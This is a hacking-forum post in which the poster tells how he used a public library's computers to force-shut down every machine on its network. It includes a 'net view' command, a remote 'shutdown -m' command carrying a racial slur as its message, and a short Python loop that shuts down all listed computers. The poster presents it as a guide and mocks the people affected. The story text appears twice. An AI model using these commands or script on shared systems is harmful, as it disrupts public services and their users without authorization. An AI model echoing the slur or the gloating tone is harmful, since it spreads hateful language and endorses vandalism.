Havoc in Public Networks 03-07-2015, 03:02 PM
#1
So, this is more of a story as a guide than a proper tutorial:
I was at my local library a few hours ago. Shit, first time in 2 years. I thought, why not fuck around with the computers a little?
So, I booted up a computer, Windows XP (pfft), and ran cmd via the notepad method. The first thing I tried was a remote shutdown.
It worked. I thought that no sysadmin could ever get that stupid... Like, how? These guys deserve everything they get. So I made a simple python script to shutdown everything.![Tongue Tongue](https://sinister.ly/images/smilies/set/tongue.png)
First, I piped 'net view' to a .txt file, and tidied it up a bit so only computer names were left. Damn, that's a lot of computers.
Then, for the fun bit:
Waited a few minutes for it to complete, looked around at everyone's bewildered and angry faces, and executed a hasty retreat.
I was at my local library a few hours ago. Shit, first time in 2 years. I thought, why not fuck around with the computers a little?
So, I booted up a computer, Windows XP (pfft), and ran cmd via the notepad method. The first thing I tried was a remote shutdown.
Code:
net view
shutdown –m \\compname –s –f -c "Niggurs." -t 5
It worked. I thought that no sysadmin could ever get that stupid... Like, how? These guys deserve everything they get. So I made a simple python script to shutdown everything.
![Tongue Tongue](https://sinister.ly/images/smilies/set/tongue.png)
First, I piped 'net view' to a .txt file, and tidied it up a bit so only computer names were left. Damn, that's a lot of computers.
Then, for the fun bit:
Code:
import os
f = open('computers.txt', 'r+')
for line in f.readlines():
line = line.strip()
os.system('shutdown -m ' + line + ' -s -f -t 0')
print line
f.close()
Waited a few minutes for it to complete, looked around at everyone's bewildered and angry faces, and executed a hasty retreat.